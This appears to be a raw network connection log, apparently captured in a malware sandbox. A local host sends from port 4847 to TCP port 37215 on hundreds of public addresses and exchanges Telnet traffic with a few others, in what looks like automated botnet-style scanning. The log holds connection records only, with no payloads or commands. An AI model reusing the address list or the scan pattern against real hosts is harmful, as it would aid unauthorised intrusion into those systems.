Nov 3, 2024 15:33:12.203619957 CET	42806	23	192.168.2.14	205.186.130.163
Nov 3, 2024 15:33:12.205096006 CET	23	54266	113.219.219.181	192.168.2.14
Nov 3, 2024 15:33:12.205106020 CET	23	54428	113.219.219.181	192.168.2.14
Nov 3, 2024 15:33:12.205147982 CET	54428	23	192.168.2.14	113.219.219.181
Nov 3, 2024 15:33:12.205385923 CET	23	49076	77.209.216.96	192.168.2.14
Nov 3, 2024 15:33:12.205626011 CET	23	49250	77.209.216.96	192.168.2.14
Nov 3, 2024 15:33:12.205672979 CET	49250	23	192.168.2.14	77.209.216.96
Nov 3, 2024 15:33:12.206024885 CET	23	41414	153.59.235.162	192.168.2.14
Nov 3, 2024 15:33:12.207869053 CET	23	42106	63.104.212.7	192.168.2.14
Nov 3, 2024 15:33:12.207981110 CET	4847	37215	192.168.2.14	156.162.44.231
Nov 3, 2024 15:33:12.207984924 CET	4847	37215	192.168.2.14	197.100.49.130
Nov 3, 2024 15:33:12.208002090 CET	4847	37215	192.168.2.14	156.21.249.94
Nov 3, 2024 15:33:12.208009005 CET	4847	37215	192.168.2.14	41.140.251.156
Nov 3, 2024 15:33:12.208009005 CET	4847	37215	192.168.2.14	197.253.68.124
Nov 3, 2024 15:33:12.208015919 CET	4847	37215	192.168.2.14	197.125.219.99
Nov 3, 2024 15:33:12.208019018 CET	4847	37215	192.168.2.14	156.153.49.66
Nov 3, 2024 15:33:12.208029985 CET	4847	37215	192.168.2.14	156.89.136.59
Nov 3, 2024 15:33:12.208030939 CET	4847	37215	192.168.2.14	41.252.161.28
Nov 3, 2024 15:33:12.208030939 CET	4847	37215	192.168.2.14	41.207.64.90
Nov 3, 2024 15:33:12.208039045 CET	4847	37215	192.168.2.14	197.184.102.27
Nov 3, 2024 15:33:12.208044052 CET	4847	37215	192.168.2.14	156.250.3.85
Nov 3, 2024 15:33:12.208046913 CET	4847	37215	192.168.2.14	197.125.119.11
Nov 3, 2024 15:33:12.208050013 CET	4847	37215	192.168.2.14	41.3.95.64
Nov 3, 2024 15:33:12.208069086 CET	4847	37215	192.168.2.14	197.218.89.78
Nov 3, 2024 15:33:12.208072901 CET	4847	37215	192.168.2.14	197.101.132.179
Nov 3, 2024 15:33:12.208072901 CET	4847	37215	192.168.2.14	156.37.223.226
Nov 3, 2024 15:33:12.208076954 CET	4847	37215	192.168.2.14	197.51.62.139
Nov 3, 2024 15:33:12.208082914 CET	4847	37215	192.168.2.14	41.104.38.172
Nov 3, 2024 15:33:12.208086967 CET	4847	37215	192.168.2.14	156.144.65.63
Nov 3, 2024 15:33:12.208091021 CET	4847	37215	192.168.2.14	156.87.182.119
Nov 3, 2024 15:33:12.208102942 CET	4847	37215	192.168.2.14	156.128.102.166
Nov 3, 2024 15:33:12.208105087 CET	4847	37215	192.168.2.14	41.198.83.220
Nov 3, 2024 15:33:12.208112001 CET	4847	37215	192.168.2.14	156.102.89.99
Nov 3, 2024 15:33:12.208112001 CET	4847	37215	192.168.2.14	41.9.30.234
Nov 3, 2024 15:33:12.208122969 CET	4847	37215	192.168.2.14	41.77.154.233
Nov 3, 2024 15:33:12.208123922 CET	4847	37215	192.168.2.14	41.75.242.181
Nov 3, 2024 15:33:12.208127975 CET	4847	37215	192.168.2.14	156.137.133.70
Nov 3, 2024 15:33:12.208132982 CET	4847	37215	192.168.2.14	156.58.148.64
Nov 3, 2024 15:33:12.208138943 CET	4847	37215	192.168.2.14	41.76.222.109
Nov 3, 2024 15:33:12.208151102 CET	4847	37215	192.168.2.14	197.159.16.190
Nov 3, 2024 15:33:12.208154917 CET	4847	37215	192.168.2.14	156.84.196.204
Nov 3, 2024 15:33:12.208158016 CET	4847	37215	192.168.2.14	156.94.69.12
Nov 3, 2024 15:33:12.208164930 CET	4847	37215	192.168.2.14	41.78.211.46
Nov 3, 2024 15:33:12.208174944 CET	4847	37215	192.168.2.14	41.178.0.161
Nov 3, 2024 15:33:12.208178043 CET	4847	37215	192.168.2.14	41.151.54.34
Nov 3, 2024 15:33:12.208178043 CET	4847	37215	192.168.2.14	197.227.139.168
Nov 3, 2024 15:33:12.208178043 CET	4847	37215	192.168.2.14	197.96.77.187
Nov 3, 2024 15:33:12.208189964 CET	4847	37215	192.168.2.14	156.236.216.139
Nov 3, 2024 15:33:12.208199978 CET	4847	37215	192.168.2.14	156.145.31.220
Nov 3, 2024 15:33:12.208204985 CET	4847	37215	192.168.2.14	197.67.139.242
Nov 3, 2024 15:33:12.208209991 CET	4847	37215	192.168.2.14	41.171.151.13
Nov 3, 2024 15:33:12.208216906 CET	4847	37215	192.168.2.14	156.174.24.229
Nov 3, 2024 15:33:12.208218098 CET	4847	37215	192.168.2.14	41.111.233.37
Nov 3, 2024 15:33:12.208218098 CET	4847	37215	192.168.2.14	41.212.253.24
Nov 3, 2024 15:33:12.208223104 CET	4847	37215	192.168.2.14	197.179.67.90
Nov 3, 2024 15:33:12.208228111 CET	4847	37215	192.168.2.14	41.245.134.252
Nov 3, 2024 15:33:12.208234072 CET	4847	37215	192.168.2.14	197.158.54.221
Nov 3, 2024 15:33:12.208240032 CET	4847	37215	192.168.2.14	156.227.57.203
Nov 3, 2024 15:33:12.208250046 CET	4847	37215	192.168.2.14	156.116.240.37
Nov 3, 2024 15:33:12.208257914 CET	4847	37215	192.168.2.14	197.85.193.160
Nov 3, 2024 15:33:12.208257914 CET	4847	37215	192.168.2.14	156.47.73.131
Nov 3, 2024 15:33:12.208262920 CET	4847	37215	192.168.2.14	156.147.181.189
Nov 3, 2024 15:33:12.208266973 CET	4847	37215	192.168.2.14	197.57.16.139
Nov 3, 2024 15:33:12.208272934 CET	4847	37215	192.168.2.14	41.55.235.40
Nov 3, 2024 15:33:12.208282948 CET	4847	37215	192.168.2.14	156.124.13.199
Nov 3, 2024 15:33:12.208282948 CET	4847	37215	192.168.2.14	197.131.184.218
Nov 3, 2024 15:33:12.208293915 CET	4847	37215	192.168.2.14	197.161.115.85
Nov 3, 2024 15:33:12.208293915 CET	4847	37215	192.168.2.14	156.76.65.190
Nov 3, 2024 15:33:12.208307028 CET	4847	37215	192.168.2.14	197.228.114.204
Nov 3, 2024 15:33:12.208307981 CET	4847	37215	192.168.2.14	156.48.93.61
Nov 3, 2024 15:33:12.208311081 CET	4847	37215	192.168.2.14	156.71.203.173
Nov 3, 2024 15:33:12.208314896 CET	4847	37215	192.168.2.14	41.215.162.153
Nov 3, 2024 15:33:12.208324909 CET	4847	37215	192.168.2.14	197.198.252.130
Nov 3, 2024 15:33:12.208328962 CET	4847	37215	192.168.2.14	41.196.230.176
Nov 3, 2024 15:33:12.208334923 CET	4847	37215	192.168.2.14	197.69.155.186
Nov 3, 2024 15:33:12.208339930 CET	4847	37215	192.168.2.14	197.61.50.67
Nov 3, 2024 15:33:12.208345890 CET	4847	37215	192.168.2.14	197.62.223.52
Nov 3, 2024 15:33:12.208352089 CET	4847	37215	192.168.2.14	197.244.10.171
Nov 3, 2024 15:33:12.208352089 CET	4847	37215	192.168.2.14	41.251.197.6
Nov 3, 2024 15:33:12.208353996 CET	4847	37215	192.168.2.14	41.158.74.222
Nov 3, 2024 15:33:12.208353996 CET	4847	37215	192.168.2.14	197.133.200.79
Nov 3, 2024 15:33:12.208358049 CET	4847	37215	192.168.2.14	197.171.119.142
Nov 3, 2024 15:33:12.208374977 CET	4847	37215	192.168.2.14	41.215.241.221
Nov 3, 2024 15:33:12.208376884 CET	4847	37215	192.168.2.14	197.168.226.9
Nov 3, 2024 15:33:12.208376884 CET	4847	37215	192.168.2.14	41.18.65.226
Nov 3, 2024 15:33:12.208380938 CET	4847	37215	192.168.2.14	156.65.251.237
Nov 3, 2024 15:33:12.208381891 CET	4847	37215	192.168.2.14	156.19.236.55
Nov 3, 2024 15:33:12.208400965 CET	4847	37215	192.168.2.14	197.78.101.204
Nov 3, 2024 15:33:12.208400965 CET	4847	37215	192.168.2.14	156.148.12.150
Nov 3, 2024 15:33:12.208400965 CET	4847	37215	192.168.2.14	41.252.102.147
Nov 3, 2024 15:33:12.208403111 CET	4847	37215	192.168.2.14	41.58.90.171
Nov 3, 2024 15:33:12.208405018 CET	4847	37215	192.168.2.14	197.173.174.208
Nov 3, 2024 15:33:12.208405018 CET	4847	37215	192.168.2.14	41.22.203.130
Nov 3, 2024 15:33:12.208405018 CET	4847	37215	192.168.2.14	41.22.244.255
Nov 3, 2024 15:33:12.208405018 CET	4847	37215	192.168.2.14	156.224.180.178
Nov 3, 2024 15:33:12.208405018 CET	4847	37215	192.168.2.14	197.150.47.58
Nov 3, 2024 15:33:12.208414078 CET	23	38510	222.182.50.241	192.168.2.14
Nov 3, 2024 15:33:12.208417892 CET	4847	37215	192.168.2.14	41.3.4.156
Nov 3, 2024 15:33:12.208417892 CET	4847	37215	192.168.2.14	197.144.180.128
Nov 3, 2024 15:33:12.208417892 CET	4847	37215	192.168.2.14	41.105.166.182
Nov 3, 2024 15:33:12.208417892 CET	4847	37215	192.168.2.14	197.96.178.71
Nov 3, 2024 15:33:12.208419085 CET	4847	37215	192.168.2.14	197.188.194.57
Nov 3, 2024 15:33:12.208417892 CET	4847	37215	192.168.2.14	156.208.116.140
Nov 3, 2024 15:33:12.208425045 CET	4847	37215	192.168.2.14	197.24.240.233
Nov 3, 2024 15:33:12.208427906 CET	4847	37215	192.168.2.14	156.64.83.101
Nov 3, 2024 15:33:12.208432913 CET	4847	37215	192.168.2.14	41.81.199.58
Nov 3, 2024 15:33:12.208437920 CET	4847	37215	192.168.2.14	41.222.227.116
Nov 3, 2024 15:33:12.208439112 CET	4847	37215	192.168.2.14	41.125.54.208
Nov 3, 2024 15:33:12.208439112 CET	4847	37215	192.168.2.14	41.168.42.188
Nov 3, 2024 15:33:12.208442926 CET	4847	37215	192.168.2.14	156.115.119.148
Nov 3, 2024 15:33:12.208463907 CET	4847	37215	192.168.2.14	156.230.146.80
Nov 3, 2024 15:33:12.208463907 CET	4847	37215	192.168.2.14	41.213.170.49
Nov 3, 2024 15:33:12.208466053 CET	4847	37215	192.168.2.14	156.169.176.170
Nov 3, 2024 15:33:12.208467960 CET	4847	37215	192.168.2.14	156.143.132.145
Nov 3, 2024 15:33:12.208467960 CET	4847	37215	192.168.2.14	41.115.197.79
Nov 3, 2024 15:33:12.208468914 CET	4847	37215	192.168.2.14	197.132.45.130
Nov 3, 2024 15:33:12.208467960 CET	4847	37215	192.168.2.14	41.43.213.202
Nov 3, 2024 15:33:12.208470106 CET	4847	37215	192.168.2.14	41.147.162.221
Nov 3, 2024 15:33:12.208470106 CET	4847	37215	192.168.2.14	197.227.210.83
Nov 3, 2024 15:33:12.208484888 CET	4847	37215	192.168.2.14	197.147.16.2
Nov 3, 2024 15:33:12.208484888 CET	4847	37215	192.168.2.14	41.191.12.151
Nov 3, 2024 15:33:12.208484888 CET	4847	37215	192.168.2.14	197.142.179.56
Nov 3, 2024 15:33:12.208484888 CET	4847	37215	192.168.2.14	197.106.55.255
Nov 3, 2024 15:33:12.208486080 CET	4847	37215	192.168.2.14	197.62.133.38
Nov 3, 2024 15:33:12.208486080 CET	4847	37215	192.168.2.14	41.67.31.69
Nov 3, 2024 15:33:12.208507061 CET	4847	37215	192.168.2.14	156.167.190.94
Nov 3, 2024 15:33:12.208507061 CET	4847	37215	192.168.2.14	197.132.153.234
Nov 3, 2024 15:33:12.208508015 CET	4847	37215	192.168.2.14	197.233.87.107
Nov 3, 2024 15:33:12.208509922 CET	4847	37215	192.168.2.14	41.119.203.253
Nov 3, 2024 15:33:12.208509922 CET	4847	37215	192.168.2.14	41.42.248.76
Nov 3, 2024 15:33:12.208511114 CET	4847	37215	192.168.2.14	41.68.4.132
Nov 3, 2024 15:33:12.208512068 CET	4847	37215	192.168.2.14	197.245.36.235
Nov 3, 2024 15:33:12.208511114 CET	4847	37215	192.168.2.14	197.19.188.161
Nov 3, 2024 15:33:12.208512068 CET	4847	37215	192.168.2.14	41.160.204.255
Nov 3, 2024 15:33:12.208512068 CET	4847	37215	192.168.2.14	197.107.144.29
Nov 3, 2024 15:33:12.208512068 CET	4847	37215	192.168.2.14	197.203.116.47
Nov 3, 2024 15:33:12.208512068 CET	4847	37215	192.168.2.14	156.172.169.89
Nov 3, 2024 15:33:12.208512068 CET	4847	37215	192.168.2.14	41.67.46.245
Nov 3, 2024 15:33:12.208513021 CET	4847	37215	192.168.2.14	156.210.96.178
Nov 3, 2024 15:33:12.208527088 CET	4847	37215	192.168.2.14	41.83.238.99
Nov 3, 2024 15:33:12.208528996 CET	4847	37215	192.168.2.14	41.197.71.206
Nov 3, 2024 15:33:12.208530903 CET	4847	37215	192.168.2.14	41.79.178.85
Nov 3, 2024 15:33:12.208530903 CET	4847	37215	192.168.2.14	197.48.128.32
Nov 3, 2024 15:33:12.208534002 CET	4847	37215	192.168.2.14	41.253.6.75
Nov 3, 2024 15:33:12.208534002 CET	4847	37215	192.168.2.14	156.164.91.12
Nov 3, 2024 15:33:12.208538055 CET	4847	37215	192.168.2.14	197.39.206.168
Nov 3, 2024 15:33:12.208538055 CET	4847	37215	192.168.2.14	156.162.100.3
Nov 3, 2024 15:33:12.208534002 CET	4847	37215	192.168.2.14	156.145.27.191
Nov 3, 2024 15:33:12.208548069 CET	4847	37215	192.168.2.14	41.154.42.211
Nov 3, 2024 15:33:12.208548069 CET	4847	37215	192.168.2.14	197.30.231.51
Nov 3, 2024 15:33:12.208548069 CET	4847	37215	192.168.2.14	197.220.106.137
Nov 3, 2024 15:33:12.208548069 CET	4847	37215	192.168.2.14	41.126.38.158
Nov 3, 2024 15:33:12.208548069 CET	4847	37215	192.168.2.14	41.244.199.130
Nov 3, 2024 15:33:12.208556890 CET	4847	37215	192.168.2.14	197.150.159.199
Nov 3, 2024 15:33:12.208565950 CET	4847	37215	192.168.2.14	156.48.41.173
Nov 3, 2024 15:33:12.208566904 CET	4847	37215	192.168.2.14	41.246.15.7
Nov 3, 2024 15:33:12.208566904 CET	4847	37215	192.168.2.14	41.64.238.23
Nov 3, 2024 15:33:12.208566904 CET	4847	37215	192.168.2.14	156.137.129.147
Nov 3, 2024 15:33:12.208566904 CET	4847	37215	192.168.2.14	41.225.74.181
Nov 3, 2024 15:33:12.208566904 CET	4847	37215	192.168.2.14	41.134.229.134
Nov 3, 2024 15:33:12.208574057 CET	4847	37215	192.168.2.14	41.129.238.232
Nov 3, 2024 15:33:12.208574057 CET	4847	37215	192.168.2.14	197.162.190.32
Nov 3, 2024 15:33:12.208576918 CET	4847	37215	192.168.2.14	197.17.237.18
Nov 3, 2024 15:33:12.208580017 CET	4847	37215	192.168.2.14	156.201.88.120
Nov 3, 2024 15:33:12.208580017 CET	4847	37215	192.168.2.14	197.4.3.78
Nov 3, 2024 15:33:12.208590031 CET	4847	37215	192.168.2.14	41.106.69.108
Nov 3, 2024 15:33:12.208590031 CET	4847	37215	192.168.2.14	156.85.218.15
Nov 3, 2024 15:33:12.208590984 CET	4847	37215	192.168.2.14	197.137.61.212
Nov 3, 2024 15:33:12.208592892 CET	4847	37215	192.168.2.14	156.72.188.55
Nov 3, 2024 15:33:12.208592892 CET	4847	37215	192.168.2.14	156.180.79.6
Nov 3, 2024 15:33:12.208592892 CET	4847	37215	192.168.2.14	156.51.159.89
Nov 3, 2024 15:33:12.208595037 CET	4847	37215	192.168.2.14	197.179.211.154
Nov 3, 2024 15:33:12.208595037 CET	4847	37215	192.168.2.14	156.203.193.0
Nov 3, 2024 15:33:12.208604097 CET	4847	37215	192.168.2.14	197.166.186.99
Nov 3, 2024 15:33:12.208606958 CET	4847	37215	192.168.2.14	41.43.167.53
Nov 3, 2024 15:33:12.208611012 CET	4847	37215	192.168.2.14	197.52.115.212
Nov 3, 2024 15:33:12.208612919 CET	4847	37215	192.168.2.14	197.148.102.33
Nov 3, 2024 15:33:12.208627939 CET	4847	37215	192.168.2.14	41.170.213.142
Nov 3, 2024 15:33:12.208630085 CET	4847	37215	192.168.2.14	41.123.235.227
Nov 3, 2024 15:33:12.208630085 CET	4847	37215	192.168.2.14	197.195.56.3
Nov 3, 2024 15:33:12.208633900 CET	4847	37215	192.168.2.14	197.62.177.75
Nov 3, 2024 15:33:12.208632946 CET	4847	37215	192.168.2.14	41.253.30.157
Nov 3, 2024 15:33:12.208635092 CET	4847	37215	192.168.2.14	41.71.133.104
Nov 3, 2024 15:33:12.208657980 CET	4847	37215	192.168.2.14	41.214.167.82
Nov 3, 2024 15:33:12.208658934 CET	4847	37215	192.168.2.14	197.101.242.7
Nov 3, 2024 15:33:12.208658934 CET	4847	37215	192.168.2.14	41.32.32.20
Nov 3, 2024 15:33:12.208658934 CET	4847	37215	192.168.2.14	41.160.20.242
Nov 3, 2024 15:33:12.208658934 CET	4847	37215	192.168.2.14	197.79.123.97
Nov 3, 2024 15:33:12.208659887 CET	4847	37215	192.168.2.14	156.8.240.223
Nov 3, 2024 15:33:12.208663940 CET	4847	37215	192.168.2.14	156.61.233.86
Nov 3, 2024 15:33:12.208663940 CET	4847	37215	192.168.2.14	41.214.134.211
Nov 3, 2024 15:33:12.208684921 CET	4847	37215	192.168.2.14	197.62.1.196
Nov 3, 2024 15:33:12.208684921 CET	4847	37215	192.168.2.14	41.62.4.97
Nov 3, 2024 15:33:12.208688974 CET	4847	37215	192.168.2.14	41.249.11.138
Nov 3, 2024 15:33:12.208688974 CET	4847	37215	192.168.2.14	41.14.90.60
Nov 3, 2024 15:33:12.208688974 CET	4847	37215	192.168.2.14	197.196.177.112
Nov 3, 2024 15:33:12.208688974 CET	4847	37215	192.168.2.14	41.84.78.22
Nov 3, 2024 15:33:12.208688974 CET	4847	37215	192.168.2.14	41.238.179.49
Nov 3, 2024 15:33:12.208693027 CET	4847	37215	192.168.2.14	197.83.221.192
Nov 3, 2024 15:33:12.208693027 CET	4847	37215	192.168.2.14	41.82.144.255
Nov 3, 2024 15:33:12.208697081 CET	4847	37215	192.168.2.14	197.81.178.142
Nov 3, 2024 15:33:12.208697081 CET	4847	37215	192.168.2.14	197.134.147.35
Nov 3, 2024 15:33:12.208703995 CET	4847	37215	192.168.2.14	197.100.73.173
Nov 3, 2024 15:33:12.208730936 CET	4847	37215	192.168.2.14	197.170.195.47
Nov 3, 2024 15:33:12.208731890 CET	4847	37215	192.168.2.14	41.44.207.241
Nov 3, 2024 15:33:12.208731890 CET	4847	37215	192.168.2.14	156.59.182.45
Nov 3, 2024 15:33:12.208733082 CET	4847	37215	192.168.2.14	41.57.247.6
Nov 3, 2024 15:33:12.208733082 CET	4847	37215	192.168.2.14	197.40.92.63
Nov 3, 2024 15:33:12.208734989 CET	4847	37215	192.168.2.14	197.78.219.18
Nov 3, 2024 15:33:12.208733082 CET	4847	37215	192.168.2.14	41.93.249.12
Nov 3, 2024 15:33:12.208731890 CET	4847	37215	192.168.2.14	197.87.34.226
Nov 3, 2024 15:33:12.208733082 CET	4847	37215	192.168.2.14	197.33.184.132
Nov 3, 2024 15:33:12.208734989 CET	4847	37215	192.168.2.14	197.179.252.47
Nov 3, 2024 15:33:12.208734989 CET	23	42632	205.186.130.163	192.168.2.14
Nov 3, 2024 15:33:12.208734989 CET	4847	37215	192.168.2.14	156.212.79.255
Nov 3, 2024 15:33:12.208733082 CET	4847	37215	192.168.2.14	156.249.0.209
Nov 3, 2024 15:33:12.208736897 CET	4847	37215	192.168.2.14	156.167.211.184
Nov 3, 2024 15:33:12.208734989 CET	4847	37215	192.168.2.14	41.17.195.35
Nov 3, 2024 15:33:12.208736897 CET	4847	37215	192.168.2.14	197.251.71.247
Nov 3, 2024 15:33:12.208734989 CET	4847	37215	192.168.2.14	156.108.74.187
Nov 3, 2024 15:33:12.208736897 CET	4847	37215	192.168.2.14	197.130.54.60
Nov 3, 2024 15:33:12.208758116 CET	4847	37215	192.168.2.14	41.220.190.236
Nov 3, 2024 15:33:12.208760977 CET	4847	37215	192.168.2.14	41.95.71.170
Nov 3, 2024 15:33:12.208760977 CET	4847	37215	192.168.2.14	197.202.82.29
Nov 3, 2024 15:33:12.208765030 CET	4847	37215	192.168.2.14	41.215.113.105
Nov 3, 2024 15:33:12.208770037 CET	4847	37215	192.168.2.14	156.241.135.107
Nov 3, 2024 15:33:12.208770037 CET	4847	37215	192.168.2.14	197.164.182.55
Nov 3, 2024 15:33:12.208775997 CET	4847	37215	192.168.2.14	156.255.100.95
Nov 3, 2024 15:33:12.208775997 CET	4847	37215	192.168.2.14	41.26.129.154
Nov 3, 2024 15:33:12.208775997 CET	4847	37215	192.168.2.14	156.153.5.5
Nov 3, 2024 15:33:12.208776951 CET	4847	37215	192.168.2.14	156.112.157.207
Nov 3, 2024 15:33:12.208775997 CET	4847	37215	192.168.2.14	41.7.185.106
Nov 3, 2024 15:33:12.208775997 CET	4847	37215	192.168.2.14	41.69.40.70
Nov 3, 2024 15:33:12.208775997 CET	4847	37215	192.168.2.14	197.105.208.252
Nov 3, 2024 15:33:12.208796024 CET	4847	37215	192.168.2.14	156.184.113.38
Nov 3, 2024 15:33:12.208812952 CET	4847	37215	192.168.2.14	156.131.37.248
Nov 3, 2024 15:33:12.208812952 CET	4847	37215	192.168.2.14	156.42.30.246
Nov 3, 2024 15:33:12.208812952 CET	4847	37215	192.168.2.14	197.82.95.38
Nov 3, 2024 15:33:12.208815098 CET	4847	37215	192.168.2.14	156.84.77.104
Nov 3, 2024 15:33:12.208817959 CET	4847	37215	192.168.2.14	156.5.229.74
Nov 3, 2024 15:33:12.208820105 CET	4847	37215	192.168.2.14	41.114.29.247
Nov 3, 2024 15:33:12.208820105 CET	4847	37215	192.168.2.14	197.100.18.41
Nov 3, 2024 15:33:12.208820105 CET	4847	37215	192.168.2.14	197.235.100.150
Nov 3, 2024 15:33:12.208821058 CET	4847	37215	192.168.2.14	197.80.55.132
Nov 3, 2024 15:33:12.208822012 CET	4847	37215	192.168.2.14	156.139.210.163
Nov 3, 2024 15:33:12.208822012 CET	4847	37215	192.168.2.14	41.61.245.60
Nov 3, 2024 15:33:12.208822012 CET	4847	37215	192.168.2.14	41.122.26.25
Nov 3, 2024 15:33:12.208822012 CET	4847	37215	192.168.2.14	41.180.89.105
Nov 3, 2024 15:33:12.208822012 CET	4847	37215	192.168.2.14	197.24.160.118
Nov 3, 2024 15:33:12.208822012 CET	4847	37215	192.168.2.14	156.24.19.9
Nov 3, 2024 15:33:12.208822012 CET	4847	37215	192.168.2.14	156.209.37.38
Nov 3, 2024 15:33:12.208822012 CET	4847	37215	192.168.2.14	197.195.5.106
Nov 3, 2024 15:33:12.208827972 CET	4847	37215	192.168.2.14	156.124.136.67
Nov 3, 2024 15:33:12.208831072 CET	4847	37215	192.168.2.14	156.124.122.225
Nov 3, 2024 15:33:12.208832026 CET	4847	37215	192.168.2.14	41.121.11.194
Nov 3, 2024 15:33:12.208831072 CET	4847	37215	192.168.2.14	41.23.254.61
Nov 3, 2024 15:33:12.208848000 CET	4847	37215	192.168.2.14	156.15.27.122
Nov 3, 2024 15:33:12.208856106 CET	4847	37215	192.168.2.14	197.168.62.4
Nov 3, 2024 15:33:12.208856106 CET	4847	37215	192.168.2.14	41.214.8.221
Nov 3, 2024 15:33:12.208857059 CET	4847	37215	192.168.2.14	41.106.129.165
Nov 3, 2024 15:33:12.208858013 CET	4847	37215	192.168.2.14	41.41.127.46
Nov 3, 2024 15:33:12.208856106 CET	4847	37215	192.168.2.14	41.8.240.35
Nov 3, 2024 15:33:12.208857059 CET	4847	37215	192.168.2.14	41.167.144.25
Nov 3, 2024 15:33:12.208858013 CET	4847	37215	192.168.2.14	41.47.37.51
Nov 3, 2024 15:33:12.208859921 CET	4847	37215	192.168.2.14	41.102.148.254
Nov 3, 2024 15:33:12.208867073 CET	4847	37215	192.168.2.14	197.66.71.188
Nov 3, 2024 15:33:12.208867073 CET	4847	37215	192.168.2.14	156.25.197.112
Nov 3, 2024 15:33:12.208867073 CET	4847	37215	192.168.2.14	41.0.33.53
Nov 3, 2024 15:33:12.208873034 CET	4847	37215	192.168.2.14	197.62.11.131
Nov 3, 2024 15:33:12.208873034 CET	4847	37215	192.168.2.14	41.245.150.40
Nov 3, 2024 15:33:12.208873987 CET	4847	37215	192.168.2.14	197.115.213.144
Nov 3, 2024 15:33:12.208878994 CET	4847	37215	192.168.2.14	41.61.212.71
Nov 3, 2024 15:33:12.208878994 CET	4847	37215	192.168.2.14	197.127.139.26
Nov 3, 2024 15:33:12.208879948 CET	4847	37215	192.168.2.14	197.14.44.130
Nov 3, 2024 15:33:12.208879948 CET	4847	37215	192.168.2.14	197.216.3.228
Nov 3, 2024 15:33:12.208880901 CET	4847	37215	192.168.2.14	156.83.200.4
Nov 3, 2024 15:33:12.208879948 CET	4847	37215	192.168.2.14	156.158.13.233
Nov 3, 2024 15:33:12.208879948 CET	4847	37215	192.168.2.14	197.74.109.90
Nov 3, 2024 15:33:12.208879948 CET	4847	37215	192.168.2.14	156.247.205.213
Nov 3, 2024 15:33:12.208884001 CET	4847	37215	192.168.2.14	197.173.82.161
Nov 3, 2024 15:33:12.208884001 CET	4847	37215	192.168.2.14	197.245.65.43
Nov 3, 2024 15:33:12.208884001 CET	4847	37215	192.168.2.14	156.228.127.250
Nov 3, 2024 15:33:12.208888054 CET	4847	37215	192.168.2.14	197.176.161.243
Nov 3, 2024 15:33:12.208897114 CET	4847	37215	192.168.2.14	197.185.134.224
Nov 3, 2024 15:33:12.208901882 CET	4847	37215	192.168.2.14	41.146.238.25
Nov 3, 2024 15:33:12.208910942 CET	4847	37215	192.168.2.14	156.60.177.139
Nov 3, 2024 15:33:12.208920002 CET	4847	37215	192.168.2.14	41.137.122.44
Nov 3, 2024 15:33:12.208920956 CET	4847	37215	192.168.2.14	197.250.200.48
Nov 3, 2024 15:33:12.208928108 CET	4847	37215	192.168.2.14	41.5.162.199
Nov 3, 2024 15:33:12.208929062 CET	4847	37215	192.168.2.14	197.178.246.153
Nov 3, 2024 15:33:12.208936930 CET	4847	37215	192.168.2.14	197.21.233.231
Nov 3, 2024 15:33:12.208940983 CET	4847	37215	192.168.2.14	156.180.174.255
Nov 3, 2024 15:33:12.208960056 CET	4847	37215	192.168.2.14	41.130.12.98
Nov 3, 2024 15:33:12.208962917 CET	4847	37215	192.168.2.14	41.23.74.17
Nov 3, 2024 15:33:12.208967924 CET	4847	37215	192.168.2.14	41.237.134.11
Nov 3, 2024 15:33:12.208971977 CET	4847	37215	192.168.2.14	156.57.59.196
Nov 3, 2024 15:33:12.208976030 CET	4847	37215	192.168.2.14	197.7.203.85
Nov 3, 2024 15:33:12.208986998 CET	4847	37215	192.168.2.14	197.160.139.205
Nov 3, 2024 15:33:12.208988905 CET	4847	37215	192.168.2.14	41.17.84.226
Nov 3, 2024 15:33:12.208992004 CET	4847	37215	192.168.2.14	197.4.37.175
Nov 3, 2024 15:33:12.208996058 CET	4847	37215	192.168.2.14	197.115.100.53
Nov 3, 2024 15:33:12.209002972 CET	4847	37215	192.168.2.14	41.247.31.15
Nov 3, 2024 15:33:12.209011078 CET	4847	37215	192.168.2.14	197.22.220.44
Nov 3, 2024 15:33:12.209017038 CET	4847	37215	192.168.2.14	197.114.0.7
Nov 3, 2024 15:33:12.209022999 CET	4847	37215	192.168.2.14	41.159.81.127
Nov 3, 2024 15:33:12.209028959 CET	4847	37215	192.168.2.14	156.200.251.150
Nov 3, 2024 15:33:12.209042072 CET	4847	37215	192.168.2.14	156.171.14.174
Nov 3, 2024 15:33:12.209048986 CET	4847	37215	192.168.2.14	156.135.120.33
Nov 3, 2024 15:33:12.209052086 CET	4847	37215	192.168.2.14	197.138.169.55
Nov 3, 2024 15:33:12.209054947 CET	4847	37215	192.168.2.14	156.55.62.237
Nov 3, 2024 15:33:12.209060907 CET	4847	37215	192.168.2.14	197.34.70.65
Nov 3, 2024 15:33:12.209060907 CET	4847	37215	192.168.2.14	197.221.28.152
Nov 3, 2024 15:33:12.209073067 CET	4847	37215	192.168.2.14	41.255.165.18
Nov 3, 2024 15:33:12.209089041 CET	4847	37215	192.168.2.14	197.17.238.65
Nov 3, 2024 15:33:12.209089994 CET	4847	37215	192.168.2.14	197.126.156.152
Nov 3, 2024 15:33:12.209089994 CET	4847	37215	192.168.2.14	41.197.192.126
Nov 3, 2024 15:33:12.209089994 CET	4847	37215	192.168.2.14	156.60.73.13
Nov 3, 2024 15:33:12.209096909 CET	4847	37215	192.168.2.14	41.152.111.145
Nov 3, 2024 15:33:12.209100962 CET	4847	37215	192.168.2.14	197.184.90.15
Nov 3, 2024 15:33:12.209100962 CET	4847	37215	192.168.2.14	41.70.133.204
Nov 3, 2024 15:33:12.209109068 CET	4847	37215	192.168.2.14	156.14.95.163
Nov 3, 2024 15:33:12.209114075 CET	4847	37215	192.168.2.14	41.250.52.198
Nov 3, 2024 15:33:12.209119081 CET	4847	37215	192.168.2.14	41.84.119.44
Nov 3, 2024 15:33:12.209120035 CET	4847	37215	192.168.2.14	41.155.74.52
Nov 3, 2024 15:33:12.209132910 CET	4847	37215	192.168.2.14	41.184.192.180
Nov 3, 2024 15:33:12.209132910 CET	4847	37215	192.168.2.14	197.230.176.78
Nov 3, 2024 15:33:12.209135056 CET	4847	37215	192.168.2.14	41.24.254.19
Nov 3, 2024 15:33:12.209145069 CET	4847	37215	192.168.2.14	197.90.100.241
Nov 3, 2024 15:33:12.209156036 CET	4847	37215	192.168.2.14	197.158.19.251
Nov 3, 2024 15:33:12.209156036 CET	4847	37215	192.168.2.14	156.1.230.214
Nov 3, 2024 15:33:12.209162951 CET	4847	37215	192.168.2.14	156.104.168.101
Nov 3, 2024 15:33:12.210691929 CET	23	54428	113.219.219.181	192.168.2.14
Nov 3, 2024 15:33:12.210751057 CET	54428	23	192.168.2.14	113.219.219.181
